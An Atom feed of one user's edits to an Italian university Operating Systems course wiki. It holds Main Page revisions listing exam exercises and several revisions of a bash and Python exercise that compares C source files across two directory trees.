<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://so.v2.cs.unibo.it/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=GFede</id>
	<title>Sistemi Operativi - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://so.v2.cs.unibo.it/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=GFede"/>
	<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php/Special:Contributions/GFede"/>
	<updated>2026-05-02T08:22:41Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.35.5</generator>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=1042</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=1042"/>
		<updated>2015-04-17T09:22:35Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Questo &amp;amp;egrave; il Wiki del Corso di Sistemi Operativi&lt;br /&gt;
&lt;br /&gt;
[[Linker fisico (Prova pratica 20-02-2014)]]&lt;br /&gt;
&lt;br /&gt;
[[Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)]]&lt;br /&gt;
&lt;br /&gt;
[[Aggiorna cartelle (Prova pratica 23-01-2014)]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 prova pratica 29 maggio 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 12-09-11]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 25-01-2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 22-06-2011]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica, 18-07-2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica, 17-07-2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica, 23-01-2014]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica Esercizio 3 esami 17_07_12 - 17_06_14 - 19_07_10]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 23_01_14]]&lt;br /&gt;
&lt;br /&gt;
[[Albero binario 2002-07-23]]&lt;br /&gt;
&lt;br /&gt;
[[50 Sfumature di Fibonacci]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 20/06/12]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 17/06/14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 17 07 14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.01.2015]]&lt;br /&gt;
&lt;br /&gt;
[[bash scripting 2002 gennaio]]&lt;br /&gt;
&lt;br /&gt;
[[Process Race (Prova pratica 18-07-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Arduino web controller]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.06.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova_pratica_21_01_15]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 17.06.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 - 25.09.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20/02/2014]]&lt;br /&gt;
&lt;br /&gt;
[[Demone ruba input]]&lt;br /&gt;
&lt;br /&gt;
[[wifi daemon]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Problema Dei Filosofi]]&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]&lt;br /&gt;
&lt;br /&gt;
[[listx.h commentato + esempio su container_of]]&lt;br /&gt;
&lt;br /&gt;
[[Congettura di Goldbach]]&lt;br /&gt;
&lt;br /&gt;
[[list segments]]&lt;br /&gt;
&lt;br /&gt;
[[Execv/fork su file aperto]]&lt;br /&gt;
&lt;br /&gt;
[[Angry_Children]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 12/02/2009]]&lt;br /&gt;
&lt;br /&gt;
[[(Programma C) Un quadrato nella matrice]]&lt;br /&gt;
&lt;br /&gt;
[[&amp;quot;classi&amp;quot;_in_C]]&lt;br /&gt;
&lt;br /&gt;
[[Esempi del 02 dicembre 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Materiale dell'AA 2013-14]]&lt;br /&gt;
----&lt;br /&gt;
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=1040</id>
		<title>Main Page</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Main_Page&amp;diff=1040"/>
		<updated>2015-04-17T09:21:46Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Questo &amp;amp;egrave; il Wiki del Corso di Sistemi Operativi&lt;br /&gt;
&lt;br /&gt;
[[Aggiorna cartelle (Prova pratica 23-01-2014)]]&lt;br /&gt;
&lt;br /&gt;
[[Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 prova pratica 29 maggio 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Ampiezza di tutti i file di una directory divisi per suffisso (Prova pratica 29-05-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 12-09-11]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 25-01-2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 22-06-2011]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica, 18-07-2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica, 17-07-2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica, 23-01-2014]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica Esercizio 3 esami 17_07_12 - 17_06_14 - 19_07_10]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 23_01_14]]&lt;br /&gt;
&lt;br /&gt;
[[Albero binario 2002-07-23]]&lt;br /&gt;
&lt;br /&gt;
[[50 Sfumature di Fibonacci]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 Prova Pratica 20/06/12]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3 Prova Pratica 17/06/14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 3, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova pratica 17 07 14]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.01.2015]]&lt;br /&gt;
&lt;br /&gt;
[[bash scripting 2002 gennaio]]&lt;br /&gt;
&lt;br /&gt;
[[Process Race (Prova pratica 18-07-2013)]]&lt;br /&gt;
&lt;br /&gt;
[[Arduino web controller]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 29.05.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20.06.2013]]&lt;br /&gt;
&lt;br /&gt;
[[Prova_pratica_21_01_15]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 17.06.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1 - 25.09.2014]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 20/02/2014]]&lt;br /&gt;
&lt;br /&gt;
[[Demone ruba input]]&lt;br /&gt;
&lt;br /&gt;
[[wifi daemon]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 13/09/2013]]&lt;br /&gt;
&lt;br /&gt;
[[Problema Dei Filosofi]]&lt;br /&gt;
&lt;br /&gt;
[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]&lt;br /&gt;
&lt;br /&gt;
[[listx.h commentato + esempio su container_of]]&lt;br /&gt;
&lt;br /&gt;
[[Congettura di Goldbach]]&lt;br /&gt;
&lt;br /&gt;
[[list segments]]&lt;br /&gt;
&lt;br /&gt;
[[Execv/fork su file aperto]]&lt;br /&gt;
&lt;br /&gt;
[[Angry_Children]]&lt;br /&gt;
&lt;br /&gt;
[[Esercizio 1, prova pratica 12/02/2009]]&lt;br /&gt;
&lt;br /&gt;
[[(Programma C) Un quadrato nella matrice]]&lt;br /&gt;
&lt;br /&gt;
[[&amp;quot;classi&amp;quot;_in_C]]&lt;br /&gt;
&lt;br /&gt;
[[Esempi del 02 dicembre 2014]]&lt;br /&gt;
&lt;br /&gt;
[[Materiale dell'AA 2013-14]]&lt;br /&gt;
----&lt;br /&gt;
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1038</id>
		<title>Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1038"/>
		<updated>2015-04-17T09:20:57Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esercizio 2 Script bash o Python: (10 punti):&lt;br /&gt;
Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorgente).&lt;br /&gt;
Lo script deve cercare i file .c e .h presenti nei due sottoalberi evidenziando:&lt;br /&gt;
&lt;br /&gt;
– quali sono presenti in un solo sottoalbero&lt;br /&gt;
– quali sono presenti in entrambi i sottoalberi ma hanno contenuto differente.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
cmpsource so.1.0 so.1.1&lt;br /&gt;
so.1.0/file.c not in so.1.1&lt;br /&gt;
so.1.0/p/q/search.c so.1.1/p/q/search.c differ&lt;br /&gt;
so.1.1/h/head.h not in so.1.0&lt;br /&gt;
&lt;br /&gt;
(L'ordine delle segnalazioni in output non e' importante).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni in BASH ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
if [[ $# &amp;lt; 2 ]] ; then&lt;br /&gt;
   echo &amp;quot;Usage: cmpsource dir1 dir2&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
DIR1=$1&lt;br /&gt;
DIR2=$2&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR1 != */ ]] ; then&lt;br /&gt;
   DIR1=&amp;quot;${DIR1}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR2 != */ ]] ; then&lt;br /&gt;
   DIR2=&amp;quot;${DIR2}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
RIS1=`find $DIR1 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
RIS2=`find $DIR2 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
&lt;br /&gt;
IN1=`comm -2 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
IN2=`comm -1 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
COMMON=`comm -1 -2 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN1&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR1%?}${NAME} not in ${DIR2}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN2&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR2%?}${NAME} not in ${DIR1}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$COMMON&amp;quot;` ; do&lt;br /&gt;
   if ! cmp -s ${DIR1%?}${NAME} ${DIR2%?}${NAME}&lt;br /&gt;
   then echo &amp;quot;${DIR1%?}${NAME} differs from ${DIR2%?}${NAME}&amp;quot;&lt;br /&gt;
   fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
exit 0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni in Python 3 ==&lt;br /&gt;
&amp;lt;source lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import os&lt;br /&gt;
import sys&lt;br /&gt;
import filecmp&lt;br /&gt;
&lt;br /&gt;
dir1 = sys.argv[1]&lt;br /&gt;
dir2 = sys.argv[2]&lt;br /&gt;
&lt;br /&gt;
lendir1 = len(dir1)&lt;br /&gt;
lendir2 = len(dir2)&lt;br /&gt;
&lt;br /&gt;
list1 = []&lt;br /&gt;
list2 = []&lt;br /&gt;
&lt;br /&gt;
for dirpath, dirnames, filenames in os.walk(dir1):&lt;br /&gt;
   for filename in sorted(filenames):&lt;br /&gt;
      if filename.endswith(&amp;quot;.c&amp;quot;) or filename.endswith(&amp;quot;.h&amp;quot;):&lt;br /&gt;
         list1.append((os.path.join(dirpath, filename))[lendir1:])&lt;br /&gt;
&lt;br /&gt;
for dirpath, dirnames, filenames in os.walk(dir2):&lt;br /&gt;
   for filename in sorted(filenames):&lt;br /&gt;
      if filename.endswith(&amp;quot;.c&amp;quot;) or filename.endswith(&amp;quot;.h&amp;quot;):&lt;br /&gt;
         list2.append((os.path.join(dirpath, filename))[lendir2:])&lt;br /&gt;
&lt;br /&gt;
for name in list1:&lt;br /&gt;
   if name not in list2:&lt;br /&gt;
      print(dir1 + name + &amp;quot; not in &amp;quot; + dir2)&lt;br /&gt;
&lt;br /&gt;
for name in list2:&lt;br /&gt;
   if name not in list1:&lt;br /&gt;
      print(dir2 + name + &amp;quot; not in &amp;quot; + dir1)&lt;br /&gt;
   if name in list1:&lt;br /&gt;
      if not filecmp.cmp(dir1 + name, dir2 + name):&lt;br /&gt;
         print(dir1 + name + &amp;quot; differs from &amp;quot; + dir2 + name)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1037</id>
		<title>Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1037"/>
		<updated>2015-04-17T09:19:20Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esercizio 2 Script bash o Python: (10 punti):&lt;br /&gt;
Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorgente).&lt;br /&gt;
Lo script deve cercare i file .c e .h presenti nei due sottoalberi evidenziando:&lt;br /&gt;
&lt;br /&gt;
– quali sono presenti in un solo sottoalbero&lt;br /&gt;
– quali sono presenti in entrambi i sottoalberi ma hanno contenuto differente.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
cmpsource so.1.0 so.1.1&lt;br /&gt;
so.1.0/file.c not in so.1.1&lt;br /&gt;
so.1.0/p/q/search.c so.1.1/p/q/search.c differ&lt;br /&gt;
so.1.1/h/head.h not in so.1.0&lt;br /&gt;
&lt;br /&gt;
(L'ordine delle segnalazioni in output non e' importante).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni in BASH ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
if [[ $# &amp;lt; 2 ]] ; then&lt;br /&gt;
   echo &amp;quot;Usage: cmpsource dir1 dir2&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
DIR1=$1&lt;br /&gt;
DIR2=$2&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR1 != */ ]] ; then&lt;br /&gt;
   DIR1=&amp;quot;${DIR1}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR2 != */ ]] ; then&lt;br /&gt;
   DIR2=&amp;quot;${DIR2}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
RIS1=`find $DIR1 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
RIS2=`find $DIR2 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
&lt;br /&gt;
IN1=`comm -2 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
IN2=`comm -1 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
COMMON=`comm -1 -2 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN1&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR1%?}${NAME} not in ${DIR2}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN2&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR2%?}${NAME} not in ${DIR1}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$COMMON&amp;quot;` ; do&lt;br /&gt;
   if ! cmp -s ${DIR1%?}${NAME} ${DIR2%?}${NAME}&lt;br /&gt;
   then echo &amp;quot;${DIR1%?}${NAME} differs from ${DIR2%?}${NAME}&amp;quot;&lt;br /&gt;
   fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
exit 0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1031</id>
		<title>Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1031"/>
		<updated>2015-04-15T11:40:08Z</updated>

		<summary type="html">&lt;p&gt;GFede: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esercizio 2 Script bash o Python: (10 punti):&lt;br /&gt;
Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorgente).&lt;br /&gt;
Lo script deve cercare i file .c e .h presenti nei due sottoalberi evidenziando:&lt;br /&gt;
&lt;br /&gt;
– quali sono presenti in un solo sottoalbero&lt;br /&gt;
– quali sono presenti in entrambi i sottoalberi ma hanno contenuto differente.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
cmpsource so.1.0 so.1.1&lt;br /&gt;
so.1.0/file.c not in so.1.1&lt;br /&gt;
so.1.0/p/q/search.c so.1.1/p/q/search.c differ&lt;br /&gt;
so.1.1/h/head.h not in so.1.0&lt;br /&gt;
&lt;br /&gt;
(L'ordine delle segnalazioni in output non e' importante).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni in BASH ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
if [[ $# &amp;lt; 2 ]] ; then&lt;br /&gt;
   echo &amp;quot;Usage: cmpsource dir1 dir2&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
DIR1=$1&lt;br /&gt;
DIR2=$2&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR1 != */ ]] ; then&lt;br /&gt;
   DIR1=&amp;quot;${DIR1}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR2 != */ ]] ; then&lt;br /&gt;
   DIR2=&amp;quot;${DIR2}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
RIS1=`find $DIR1 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
RIS2=`find $DIR2 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
&lt;br /&gt;
IN1=`comm -2 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
IN2=`comm -1 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
COMMON=`comm -1 -2 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN1&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR1%?}${NAME} not in ${DIR2}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN2&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR2%?}${NAME} not in ${DIR1}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$COMMON&amp;quot;` ; do&lt;br /&gt;
   if ! cmp -s ${DIR1%?}${NAME} ${DIR2}${NAME}&lt;br /&gt;
   then echo &amp;quot;${DIR1%?}${NAME} differs from ${DIR2}${NAME}&amp;quot;&lt;br /&gt;
   fi&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
exit 0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;/div&gt;</summary>
		<author><name>GFede</name></author>
	</entry>
	<entry>
		<id>https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1030</id>
		<title>Differenza tra due sottoalberi del file system (Prova pratica 22-07-2011)</title>
		<link rel="alternate" type="text/html" href="https://so.v2.cs.unibo.it/wiki/index.php?title=Differenza_tra_due_sottoalberi_del_file_system_(Prova_pratica_22-07-2011)&amp;diff=1030"/>
		<updated>2015-04-15T11:31:48Z</updated>

		<summary type="html">&lt;p&gt;GFede: Created page with &amp;quot;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;  Esercizio 2 Script bash o Python: (10 punti): Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorge...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;source lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Esercizio 2 Script bash o Python: (10 punti):&lt;br /&gt;
Siano date due sottoalberi del file system (il programma e' pensato per due versioni di una gerarchia sorgente).&lt;br /&gt;
Lo script deve cercare i file .c e .h presenti nei due sottoalberi evidenziando:&lt;br /&gt;
&lt;br /&gt;
– quali sono presenti in un solo sottoalbero&lt;br /&gt;
– quali sono presenti in entrambi i sottoalberi ma hanno contenuto differente.&lt;br /&gt;
&lt;br /&gt;
Es:&lt;br /&gt;
cmpsource so.1.0 so.1.1&lt;br /&gt;
so.1.0/file.c not in so.1.1&lt;br /&gt;
so.1.0/p/q/search.c so.1.1/p/q/search.c differ so.1.1/h/head.h not in so.1.0&lt;br /&gt;
&lt;br /&gt;
(L'ordine delle segnalazioni in output non e' importante).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Soluzione di Federico Giuggioloni in BASH ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
if [[ $# &amp;lt; 2 ]] ; then&lt;br /&gt;
   echo &amp;quot;Usage: cmpsource dir1 dir2&amp;quot;&lt;br /&gt;
   exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
DIR1=$1&lt;br /&gt;
DIR2=$2&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR1 != */ ]] ; then&lt;br /&gt;
   DIR1=&amp;quot;${DIR1}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
if [[ $DIR2 != */ ]] ; then&lt;br /&gt;
   DIR2=&amp;quot;${DIR2}/&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
RIS1=`find $DIR1 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
RIS2=`find $DIR2 -regex &amp;quot;^.*\.[hc]$&amp;quot; | sort | cut -d &amp;quot;/&amp;quot; -f 2-`&lt;br /&gt;
&lt;br /&gt;
IN1=`comm -2 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
IN2=`comm -1 -3 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
COMMON=`comm -1 -2 &amp;lt;(echo &amp;quot;$RIS1&amp;quot;) &amp;lt;(echo &amp;quot;$RIS2&amp;quot;)`&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN1&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR1%?}${NAME} not in ${DIR2}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$IN2&amp;quot;` ; do&lt;br /&gt;
   echo &amp;quot;${DIR2%?}${NAME} not in ${DIR1}&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
echo&lt;br /&gt;
&lt;br /&gt;
for NAME in `echo &amp;quot;$COMMON&amp;quot;` ; do&lt;br /&gt;
   if ! cmp -s ${DIR1%?}${NAME} ${DIR2}${NAME}&lt;br /&gt;
